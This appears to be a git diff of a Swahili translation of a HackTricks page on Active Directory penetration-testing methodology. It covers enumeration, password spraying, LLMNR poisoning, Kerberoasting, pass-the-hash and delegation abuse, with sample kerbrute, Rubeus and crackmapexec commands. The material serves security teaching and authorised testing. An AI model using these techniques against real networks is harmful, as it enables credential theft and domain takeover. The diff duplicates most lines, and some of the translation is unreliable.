- [**Clickjaking**](../pentesting-web/clickjacking.md): Ikiwa hakuna ulinzi dhidi ya shambulio hili, unaweza kumdanganya mtumiaji akakutumia taarifa nyeti (mfano [hapa](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -34,14 +34,14 @@ Ili kujifunza jinsi ya **kushambulia AD** unahitaji **kuelewa** vizuri mchakato
 | 
			
		||||
 | 
			
		||||
## Cheat Sheet
 | 
			
		||||
 | 
			
		||||
Unaweza kutembelea [https://wadcoms.github.io/](https://wadcoms.github.io) kupata muonekano wa haraka wa amri ambazo unaweza kukimbia ili kuhesabu/kutumia AD.
 | 
			
		||||
Unaweza kutembelea [https://wadcoms.github.io/](https://wadcoms.github.io) kupata muonekano wa haraka wa amri unazoweza kukimbia ili kuhesabu/kutumia AD.
 | 
			
		||||
 | 
			
		||||
## Recon Active Directory (No creds/sessions)
 | 
			
		||||
 | 
			
		||||
Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akidi/nikundi zozote unaweza:
 | 
			
		||||
Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akreditif/sessions unaweza:
 | 
			
		||||
 | 
			
		||||
- **Pentest mtandao:**
 | 
			
		||||
- Fanya skana ya mtandao, pata mashine na bandari wazi na jaribu **kutumia udhaifu** au **kuchota akidi** kutoka kwao (kwa mfano, [printa zinaweza kuwa malengo ya kuvutia sana](ad-information-in-printers.md)).
 | 
			
		||||
- Fanya skana ya mtandao, pata mashine na bandari wazi na jaribu **kutumia udhaifu** au **kuchota akreditif** kutoka kwao (kwa mfano, [printa zinaweza kuwa malengo ya kuvutia sana](ad-information-in-printers.md).
 | 
			
		||||
- Kuorodhesha DNS kunaweza kutoa taarifa kuhusu seva muhimu katika domain kama wavuti, printa, sehemu, vpn, media, nk.
 | 
			
		||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
 | 
			
		||||
- Angalia [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) kupata maelezo zaidi kuhusu jinsi ya kufanya hivi.
 | 
			
		||||
@ -57,27 +57,27 @@ Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akidi/nikundi zozote unawez
 | 
			
		||||
 | 
			
		||||
- **Kuorodhesha Ldap**
 | 
			
		||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
 | 
			
		||||
- Mwongozo wa kina juu ya jinsi ya kuorodhesha LDAP unaweza kupatikana hapa (lipa **kipaumbele maalum kwa ufikiaji wa bila jina**):
 | 
			
		||||
- Mwongozo wa kina juu ya jinsi ya kuorodhesha LDAP unaweza kupatikana hapa (lipa **kipaumbele maalum kwa ufikiaji wa siri**):
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../network-services-pentesting/pentesting-ldap.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- **Poison mtandao**
 | 
			
		||||
- Kusanya akidi [**ukijifanya huduma kwa Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 | 
			
		||||
- Kusanya akreditif [**ukijifanya huduma kwa Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 | 
			
		||||
- Fikia mwenyeji kwa [**kudhulumu shambulio la relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
 | 
			
		||||
- Kusanya akidi **ukifichua** [**huduma za UPnP za uongo na evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 | 
			
		||||
- Kusanya akreditif **ukifichua** [**huduma za UPnP za uongo na evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 | 
			
		||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
 | 
			
		||||
- Toa majina ya watumiaji/majina kutoka kwa nyaraka za ndani, mitandao ya kijamii, huduma (hasa wavuti) ndani ya mazingira ya domain na pia kutoka kwa taarifa zinazopatikana hadharani.
 | 
			
		||||
- Ikiwa unapata majina kamili ya wafanyakazi wa kampuni, unaweza kujaribu mifumo tofauti ya **majina ya watumiaji wa AD** (**[soma hii](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Mifumo ya kawaida ni: _NameSurname_, _Name.Surname_, _NamSur_ (herufi 3 za kila moja), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, herufi 3 _za nasibu na nambari 3 za nasibu_ (abc123).
 | 
			
		||||
- Toa majina ya watumiaji/majina kutoka kwa nyaraka za ndani, mitandao ya kijamii, huduma (hasa wavuti) ndani ya mazingira ya domain na pia kutoka kwa yaliyopo hadharani.
 | 
			
		||||
- Ikiwa unapata majina kamili ya wafanyakazi wa kampuni, unaweza kujaribu mifumo tofauti ya **majina ya watumiaji wa AD** ([**soma hii**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Mifumo ya kawaida ni: _NameSurname_, _Name.Surname_, _NamSur_ (herufi 3 za kila moja), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, herufi 3 _za nasibu na nambari 3 za nasibu_ (abc123).
 | 
			
		||||
- Zana:
 | 
			
		||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 | 
			
		||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
 | 
			
		||||
 | 
			
		||||
### User enumeration
 | 
			
		||||
 | 
			
		||||
- **Anonymous SMB/LDAP enum:** Angalia [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) na [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) kurasa.
 | 
			
		||||
- **Kerbrute enum**: Wakati **jina la mtumiaji lisilo sahihi linapohitajika** seva itajibu kwa kutumia **kodi ya kosa la Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, ikituruhusu kubaini kwamba jina la mtumiaji halikuwa sahihi. **Majina sahihi ya watumiaji** yatatoa ama **TGT katika jibu la AS-REP** au kosa _KRB5KDC_ERR_PREAUTH_REQUIRED_, ikionyesha kwamba mtumiaji anahitajika kufanya uthibitishaji wa awali.
 | 
			
		||||
- **Anonymous SMB/LDAP enum:** Angalia [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) na [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) kurasa.
 | 
			
		||||
- **Kerbrute enum**: Wakati **jina la mtumiaji lisilo sahihi linapohitajika** seva itajibu kwa kutumia **kodi ya kosa la Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, ikituruhusu kubaini kuwa jina la mtumiaji halikuwa sahihi. **Majina sahihi ya watumiaji** yatatoa ama **TGT katika AS-REP** jibu au kosa _KRB5KDC_ERR_PREAUTH_REQUIRED_, ikionyesha kuwa mtumiaji anahitajika kufanya uthibitishaji wa awali.
 | 
			
		||||
```bash
 | 
			
		||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
 | 
			
		||||
 | 
			
		||||
@ -109,11 +109,11 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
 | 
			
		||||
 | 
			
		||||
### Kujua jina moja au kadhaa za watumiaji
 | 
			
		||||
 | 
			
		||||
Sawa, kwa hivyo unajua tayari una jina halali la mtumiaji lakini hakuna nywila... Kisha jaribu:
 | 
			
		||||
Sawa, hivyo unajua tayari una jina halali la mtumiaji lakini hakuna nywila... Kisha jaribu:
 | 
			
		||||
 | 
			
		||||
- [**ASREPRoast**](asreproast.md): Ikiwa mtumiaji **hana** sifa _DONT_REQ_PREAUTH_ unaweza **kuomba ujumbe wa AS_REP** kwa mtumiaji huyo ambao utakuwa na data fulani iliyosimbwa kwa kutumia mchanganyiko wa nywila ya mtumiaji.
 | 
			
		||||
- [**Password Spraying**](password-spraying.md): Jaribu nywila **za kawaida zaidi** na kila mmoja wa watumiaji ulioyagundua, labda mtumiaji fulani anatumia nywila mbaya (kumbuka sera ya nywila!).
 | 
			
		||||
- Kumbuka kwamba unaweza pia **spray OWA servers** kujaribu kupata ufikiaji wa seva za barua pepe za watumiaji.
 | 
			
		||||
- [**ASREPRoast**](asreproast.md): Ikiwa mtumiaji **hana** sifa _DONT_REQ_PREAUTH_ unaweza **kuomba ujumbe wa AS_REP** kwa mtumiaji huyo ambao utakuwa na data fulani iliyosimbwa kwa derivation ya nywila ya mtumiaji.
 | 
			
		||||
- [**Password Spraying**](password-spraying.md): Hebu jaribu nywila **za kawaida zaidi** na kila mmoja wa watumiaji waliogunduliwa, labda mtumiaji fulani anatumia nywila mbaya (kumbuka sera ya nywila!).
 | 
			
		||||
- Kumbuka kwamba unaweza pia **spray OWA servers** kujaribu kupata ufikiaji wa seva za barua za watumiaji.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
password-spraying.md
 | 
			
		||||
@ -121,7 +121,7 @@ password-spraying.md
 | 
			
		||||
 | 
			
		||||
### LLMNR/NBT-NS Poisoning
 | 
			
		||||
 | 
			
		||||
Unaweza kuwa na uwezo wa **kupata** baadhi ya changamoto **hashes** ili kufungua **kuharibu** baadhi ya protokali za **mtandao**:
 | 
			
		||||
Unaweza kuwa na uwezo wa **kupata** baadhi ya changamoto **hashes** ili kuvunja **kuambukiza** baadhi ya protokali za **mtandao**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
 | 
			
		||||
@ -133,17 +133,17 @@ Ikiwa umeweza kuorodhesha active directory utakuwa na **barua pepe zaidi na ufah
 | 
			
		||||
 | 
			
		||||
### Kuiba NTLM Creds
 | 
			
		||||
 | 
			
		||||
Ikiwa unaweza **kufikia kompyuta nyingine au sehemu** na **mtumiaji wa null au mgeni** unaweza **kweka faili** (kama faili ya SCF) ambayo ikiwa kwa namna fulani itafikiwa it **itazindua uthibitishaji wa NTML dhidi yako** ili uweze **kuiba** **NTLM challenge** ili kuifungua:
 | 
			
		||||
Ikiwa unaweza **kufikia kompyuta nyingine au sehemu** na **mtumiaji wa null au mgeni** unaweza **kweka faili** (kama faili ya SCF) ambayo ikiwa kwa namna fulani itafikiwa it **trigger an NTML authentication against you** ili uweze **kuiba** **NTLM challenge** ili kuivunja:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../ntlm/places-to-steal-ntlm-creds.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Kuorodhesha Active Directory KWA nywila/sessheni
 | 
			
		||||
## Kuorodhesha Active Directory KWA nywila/sessio
 | 
			
		||||
 | 
			
		||||
Kwa hatua hii unahitaji kuwa **umevunjika nywila au sessheni ya akaunti halali ya kikoa.** Ikiwa una nywila halali au shell kama mtumiaji wa kikoa, **unapaswa kukumbuka kwamba chaguzi zilizotolewa hapo awali bado ni chaguzi za kuvunja watumiaji wengine**.
 | 
			
		||||
Kwa hatua hii unahitaji kuwa **umevunjika nywila au sessio ya akaunti halali ya domain.** Ikiwa una nywila halali au shell kama mtumiaji wa domain, **unapaswa kukumbuka kwamba chaguzi zilizotolewa hapo awali bado ni chaguzi za kuvunja watumiaji wengine**.
 | 
			
		||||
 | 
			
		||||
Kabla ya kuanza kuorodhesha kwa uthibitisho unapaswa kujua ni nini **shida ya Kerberos double hop.**
 | 
			
		||||
Kabla ya kuanza kuorodhesha kwa uthibitisho unapaswa kujua ni nini **Kerberos double hop problem.**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
kerberos-double-hop-problem.md
 | 
			
		||||
@ -151,31 +151,31 @@ kerberos-double-hop-problem.md
 | 
			
		||||
 | 
			
		||||
### Kuorodhesha
 | 
			
		||||
 | 
			
		||||
Kuwa na akaunti iliyovunjwa ni **hatua kubwa ya kuanza kuvunja kikoa zima**, kwa sababu utaweza kuanza **Kuorodhesha Active Directory:**
 | 
			
		||||
Kuwa na akaunti iliyovunjika ni **hatua kubwa ya kuanza kuvunja domain nzima**, kwa sababu utaweza kuanza **Kuorodhesha Active Directory:**
 | 
			
		||||
 | 
			
		||||
Kuhusu [**ASREPRoast**](asreproast.md) sasa unaweza kupata kila mtumiaji anayeweza kuwa hatarini, na kuhusu [**Password Spraying**](password-spraying.md) unaweza kupata **orodha ya majina yote ya watumiaji** na kujaribu nywila ya akaunti iliyovunjwa, nywila tupu na nywila mpya zinazowezekana.
 | 
			
		||||
Kuhusu [**ASREPRoast**](asreproast.md) sasa unaweza kupata kila mtumiaji anayeweza kuwa hatarini, na kuhusu [**Password Spraying**](password-spraying.md) unaweza kupata **orodha ya majina yote ya watumiaji** na kujaribu nywila ya akaunti iliyovunjika, nywila tupu na nywila mpya zinazowezekana.
 | 
			
		||||
 | 
			
		||||
- Unaweza kutumia [**CMD kufanya recon ya msingi**](../basic-cmd-for-pentesters.md#domain-info)
 | 
			
		||||
- Unaweza pia kutumia [**powershell kwa recon**](../basic-powershell-for-pentesters/) ambayo itakuwa ya siri zaidi
 | 
			
		||||
- Unaweza pia kutumia [**powershell kwa recon**](../basic-powershell-for-pentesters/index.html) ambayo itakuwa ya siri zaidi
 | 
			
		||||
- Unaweza pia [**kutumia powerview**](../basic-powershell-for-pentesters/powerview.md) kutoa taarifa zaidi za kina
 | 
			
		||||
- Zana nyingine nzuri kwa ajili ya recon katika active directory ni [**BloodHound**](bloodhound.md). Si **ya siri sana** (kulingana na mbinu za ukusanyaji unazotumia), lakini **ikiwa hujali** kuhusu hilo, unapaswa kujaribu kabisa. Pata mahali ambapo watumiaji wanaweza RDP, pata njia za makundi mengine, nk.
 | 
			
		||||
- **Zana nyingine za kuorodhesha AD za kiotomatiki ni:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 | 
			
		||||
- **Zana nyingine za kuorodhesha za AD za kiotomatiki ni:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 | 
			
		||||
- [**Rekodi za DNS za AD**](ad-dns-records.md) kwani zinaweza kuwa na taarifa za kuvutia.
 | 
			
		||||
- **Zana yenye GUI** ambayo unaweza kutumia kuorodhesha directory ni **AdExplorer.exe** kutoka **SysInternal** Suite.
 | 
			
		||||
- Unaweza pia kutafuta katika database ya LDAP kwa **ldapsearch** kutafuta nywila katika maeneo _userPassword_ & _unixUserPassword_, au hata kwa _Description_. cf. [Nywila katika AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) kwa mbinu nyingine.
 | 
			
		||||
- Ikiwa unatumia **Linux**, unaweza pia kuorodhesha kikoa kwa kutumia [**pywerview**](https://github.com/the-useless-one/pywerview).
 | 
			
		||||
- Ikiwa unatumia **Linux**, unaweza pia kuorodhesha domain kwa kutumia [**pywerview**](https://github.com/the-useless-one/pywerview).
 | 
			
		||||
- Unaweza pia kujaribu zana za kiotomatiki kama:
 | 
			
		||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
 | 
			
		||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
 | 
			
		||||
- **Kutoa majina yote ya watumiaji wa kikoa**
 | 
			
		||||
- **Kutoa majina yote ya watumiaji wa domain**
 | 
			
		||||
 | 
			
		||||
Ni rahisi sana kupata majina yote ya watumiaji wa kikoa kutoka Windows (`net user /domain` ,`Get-DomainUser` au `wmic useraccount get name,sid`). Katika Linux, unaweza kutumia: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` au `enum4linux -a -u "user" -p "password" <DC IP>`
 | 
			
		||||
Ni rahisi sana kupata majina yote ya watumiaji wa domain kutoka Windows (`net user /domain` ,`Get-DomainUser` au `wmic useraccount get name,sid`). Katika Linux, unaweza kutumia: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` au `enum4linux -a -u "user" -p "password" <DC IP>`
 | 
			
		||||
 | 
			
		||||
> Hata kama sehemu hii ya Kuorodhesha inaonekana ndogo hii ndiyo sehemu muhimu zaidi ya yote. Fikia viungo (hasa ile ya cmd, powershell, powerview na BloodHound), jifunze jinsi ya kuorodhesha kikoa na fanya mazoezi hadi ujisikie vizuri. Wakati wa tathmini, hii itakuwa wakati muhimu wa kupata njia yako kwenda DA au kuamua kwamba hakuna kinachoweza kufanywa.
 | 
			
		||||
> Hata kama sehemu hii ya Kuorodhesha inaonekana ndogo hii ndiyo sehemu muhimu zaidi ya yote. Fikia viungo (hasa ile ya cmd, powershell, powerview na BloodHound), jifunze jinsi ya kuorodhesha domain na fanya mazoezi hadi ujisikie vizuri. Wakati wa tathmini, hii itakuwa wakati muhimu wa kupata njia yako hadi DA au kuamua kwamba hakuna kinachoweza kufanywa.
 | 
			
		||||
 | 
			
		||||
### Kerberoast
 | 
			
		||||
 | 
			
		||||
Kerberoasting inahusisha kupata **TGS tickets** zinazotumiwa na huduma zinazohusiana na akaunti za watumiaji na kufungua usimbaji wao—ambao unategemea nywila za watumiaji—**nje ya mtandao**.
 | 
			
		||||
Kerberoasting inahusisha kupata **TGS tickets** zinazotumiwa na huduma zinazohusiana na akaunti za watumiaji na kuvunja usimbaji wao—ambao unategemea nywila za watumiaji—**offline**.
 | 
			
		||||
 | 
			
		||||
Zaidi kuhusu hii katika:
 | 
			
		||||
 | 
			
		||||
@ -185,17 +185,17 @@ kerberoast.md
 | 
			
		||||
 | 
			
		||||
### Muunganisho wa mbali (RDP, SSH, FTP, Win-RM, nk)
 | 
			
		||||
 | 
			
		||||
Mara tu unapokuwa umepata nywila fulani unaweza kuangalia ikiwa una ufikiaji wa **kompyuta** yoyote. Kwa jambo hilo, unaweza kutumia **CrackMapExec** kujaribu kuungana kwenye seva kadhaa kwa kutumia protokali tofauti, kulingana na skana zako za port.
 | 
			
		||||
Mara tu unapokuwa umepata baadhi ya nywila unaweza kuangalia ikiwa una ufikiaji wa **mashine** yoyote. Kwa jambo hilo, unaweza kutumia **CrackMapExec** kujaribu kuungana kwenye seva kadhaa kwa protokali tofauti, kulingana na skana zako za port.
 | 
			
		||||
 | 
			
		||||
### Kuinua Privilege za Mitaa
 | 
			
		||||
 | 
			
		||||
Ikiwa umevunjika nywila au sessheni kama mtumiaji wa kawaida wa kikoa na una **ufikiaji** na mtumiaji huyu kwa **kompyuta yoyote katika kikoa** unapaswa kujaribu kupata njia yako ya **kuinua mamlaka kwa ndani na kutafuta nywila**. Hii ni kwa sababu ni tu kwa mamlaka ya msimamizi wa ndani utaweza **dump hashes za watumiaji wengine** katika kumbukumbu (LSASS) na kwa ndani (SAM).
 | 
			
		||||
Ikiwa umevunjika nywila au sessio kama mtumiaji wa kawaida wa domain na una **ufikiaji** na mtumiaji huyu kwa **mashine yoyote katika domain** unapaswa kujaribu kupata njia yako ya **kuinua mamlaka kwa ndani na kutafuta nywila**. Hii ni kwa sababu ni tu kwa mamlaka ya msimamizi wa ndani utaweza **dump hashes za watumiaji wengine** katika kumbukumbu (LSASS) na kwa ndani (SAM).
 | 
			
		||||
 | 
			
		||||
Kuna ukurasa kamili katika kitabu hiki kuhusu [**kuinua mamlaka ya ndani katika Windows**](../windows-local-privilege-escalation/) na [**orodha ya ukaguzi**](../checklist-windows-privilege-escalation.md). Pia, usisahau kutumia [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
 | 
			
		||||
Kuna ukurasa kamili katika kitabu hiki kuhusu [**kuinua mamlaka ya ndani katika Windows**](../windows-local-privilege-escalation/index.html) na [**orodha ya ukaguzi**](../checklist-windows-privilege-escalation.md). Pia, usisahau kutumia [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
 | 
			
		||||
 | 
			
		||||
### Tiketi za Sessheni za Sasa
 | 
			
		||||
### Tiketi za Sessio za Sasa
 | 
			
		||||
 | 
			
		||||
Ni **ngumu sana** kwamba utapata **tiketi** katika mtumiaji wa sasa **zinazokupa ruhusa ya kufikia** rasilimali zisizotarajiwa, lakini unaweza kuangalia:
 | 
			
		||||
Ni **ngumu sana** kwamba utapata **tiketi** katika mtumiaji wa sasa **ukikupa ruhusa ya kufikia** rasilimali zisizotarajiwa, lakini unaweza kuangalia:
 | 
			
		||||
```bash
 | 
			
		||||
## List all tickets (if not admin, only current user tickets)
 | 
			
		||||
.\Rubeus.exe triage
 | 
			
		||||
@ -223,7 +223,7 @@ Ikiwa unaweza **kufikia PCs nyingine au shares** unaweza **kweka faili** (kama f
 | 
			
		||||
 | 
			
		||||
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
 | 
			
		||||
 | 
			
		||||
Ushindi huu uliruhusu mtumiaji yeyote aliyeidhinishwa **kudhoofisha kidhibiti cha eneo**.
 | 
			
		||||
Ukiukaji huu uliruhusu mtumiaji yeyote aliyeidhinishwa **kudhoofisha kidhibiti cha eneo**.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
printnightmare.md
 | 
			
		||||
@ -231,12 +231,12 @@ printnightmare.md
 | 
			
		||||
 | 
			
		||||
## Privilege escalation on Active Directory WITH privileged credentials/session
 | 
			
		||||
 | 
			
		||||
**Kwa mbinu zifuatazo mtumiaji wa kawaida wa eneo si wa kutosha, unahitaji baadhi ya haki/akidi maalum ili kutekeleza mashambulizi haya.**
 | 
			
		||||
**Kwa mbinu zifuatazo mtumiaji wa kawaida wa eneo si wa kutosha, unahitaji baadhi ya ruhusa/akidi maalum ili kutekeleza mashambulizi haya.**
 | 
			
		||||
 | 
			
		||||
### Hash extraction
 | 
			
		||||
 | 
			
		||||
Tuna matumaini umeweza **kudhoofisha akaunti ya admin wa ndani** kwa kutumia [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ikiwa ni pamoja na relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [kuinua haki kwa ndani](../windows-local-privilege-escalation/).\
 | 
			
		||||
Kisha, ni wakati wa kutupa hash zote katika kumbukumbu na ndani.\
 | 
			
		||||
Tuna matumaini umeweza **kudhoofisha akaunti ya admin wa ndani** kwa kutumia [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ikiwa ni pamoja na relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [kuinua ruhusa kwa ndani](../windows-local-privilege-escalation/index.html).\
 | 
			
		||||
Kisha, ni wakati wa kutupa hash zote kwenye kumbukumbu na ndani.\
 | 
			
		||||
[**Soma ukurasa huu kuhusu njia tofauti za kupata hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
 | 
			
		||||
 | 
			
		||||
### Pass the Hash
 | 
			
		||||
@ -247,7 +247,7 @@ Unahitaji kutumia **chombo** ambacho kitafanya **uthibitisho wa NTLM kwa kutumia
 | 
			
		||||
 | 
			
		||||
### Over Pass the Hash/Pass the Key
 | 
			
		||||
 | 
			
		||||
Shambulizi hili linakusudia **kutumia hash ya mtumiaji NTLM kuomba tiketi za Kerberos**, kama mbadala wa Pass The Hash juu ya itifaki ya NTLM. Hivyo, hii inaweza kuwa hasa **faida katika mitandao ambapo itifaki ya NTLM imezimwa** na tu **Kerberos inaruhusiwa** kama itifaki ya uthibitisho.
 | 
			
		||||
Shambulizi hili linakusudia **kutumia hash ya mtumiaji wa NTLM kuomba tiketi za Kerberos**, kama mbadala wa kawaida ya Pass The Hash juu ya itifaki ya NTLM. Hivyo, hii inaweza kuwa hasa **faida katika mitandao ambapo itifaki ya NTLM imezimwa** na tu **Kerberos inaruhusiwa** kama itifaki ya uthibitisho.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
over-pass-the-hash-pass-the-key.md
 | 
			
		||||
@ -263,7 +263,7 @@ pass-the-ticket.md
 | 
			
		||||
 | 
			
		||||
### Credentials Reuse
 | 
			
		||||
 | 
			
		||||
Ikiwa una **hash** au **nenosiri** la **meneja wa ndani** unapaswa kujaribu **kuingia kwa ndani** kwenye PCs nyingine kwa kutumia hiyo.
 | 
			
		||||
Ikiwa una **hash** au **nenosiri** la **meneja wa ndani** unapaswa kujaribu **kuingia kwa ndani** kwenye **PC nyingine** kwa kutumia hiyo.
 | 
			
		||||
```bash
 | 
			
		||||
# Local Auth Spray (once you found some local admin pass or hash)
 | 
			
		||||
## --local-auth flag indicate to only try 1 time per machine
 | 
			
		||||
@ -274,9 +274,9 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 | 
			
		||||
 | 
			
		||||
### MSSQL Abuse & Trusted Links
 | 
			
		||||
 | 
			
		||||
Ikiwa mtumiaji ana mamlaka ya **kufikia mifumo ya MSSQL**, anaweza kuwa na uwezo wa kuitumia **kutekeleza amri** kwenye mwenyeji wa MSSQL (ikiwa inafanya kazi kama SA), **kuiba** NetNTLM **hash** au hata kufanya **shambulio la relay**.\
 | 
			
		||||
Pia, ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, atakuwa na uwezo wa **kutumia uhusiano wa kuaminiana kutekeleza maswali pia kwenye mfano mwingine**. Uhusiano huu unaweza kuunganishwa na wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.\
 | 
			
		||||
**Viungo kati ya databases vinafanya kazi hata katika uhusiano wa msitu.**
 | 
			
		||||
Ikiwa mtumiaji ana mamlaka ya **kufikia mifano ya MSSQL**, anaweza kuwa na uwezo wa kuitumia **kutekeleza amri** kwenye mwenyeji wa MSSQL (ikiwa inafanya kazi kama SA), **kuiba** NetNTLM **hash** au hata kufanya **shambulio la relay**.\
 | 
			
		||||
Pia, ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, atakuwa na uwezo wa **kutumia uhusiano wa kuaminiana kutekeleza maswali pia kwenye mfano mwingine**. Uaminifu huu unaweza kuunganishwa na wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.\
 | 
			
		||||
**Viungo kati ya databases vinafanya kazi hata katika uaminifu wa msitu.**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
abusing-ad-mssql.md
 | 
			
		||||
@ -286,7 +286,7 @@ abusing-ad-mssql.md
 | 
			
		||||
 | 
			
		||||
Ikiwa unapata kitu chochote cha Kompyuta chenye sifa [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) na una mamlaka ya kikoa kwenye kompyuta, utaweza kutoa TGTs kutoka kwenye kumbukumbu ya kila mtumiaji anayeingia kwenye kompyuta.\
 | 
			
		||||
Hivyo, ikiwa **Msimamizi wa Kikoa anaingia kwenye kompyuta**, utaweza kutoa TGT yake na kumwakilisha akitumia [Pass the Ticket](pass-the-ticket.md).\
 | 
			
		||||
Shukrani kwa uwakilishi wa kizuizi unaweza hata **kuathiri kiotomatiki Server ya Print** (tunatumai itakuwa DC).
 | 
			
		||||
Shukrani kwa uwakilishi wa kizuizi unaweza hata **kuharibu kiotomatiki Server ya Print** (tunatumai itakuwa DC).
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
unconstrained-delegation.md
 | 
			
		||||
@ -295,7 +295,7 @@ unconstrained-delegation.md
 | 
			
		||||
### Constrained Delegation
 | 
			
		||||
 | 
			
		||||
Ikiwa mtumiaji au kompyuta inaruhusiwa kwa "Constrained Delegation" itakuwa na uwezo wa **kumwakilisha mtumiaji yeyote kufikia huduma fulani kwenye kompyuta**.\
 | 
			
		||||
Kisha, ikiwa **utavunja hash** ya mtumiaji/hii kompyuta utaweza **kumwakilisha mtumiaji yeyote** (hata wasimamizi wa kikoa) kufikia huduma fulani.
 | 
			
		||||
Kisha, ikiwa **utaharibu hash** ya mtumiaji/hii kompyuta utaweza **kumwakilisha mtumiaji yeyote** (hata wasimamizi wa kikoa) kufikia huduma fulani.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
constrained-delegation.md
 | 
			
		||||
@ -303,7 +303,7 @@ constrained-delegation.md
 | 
			
		||||
 | 
			
		||||
### Resourced-based Constrain Delegation
 | 
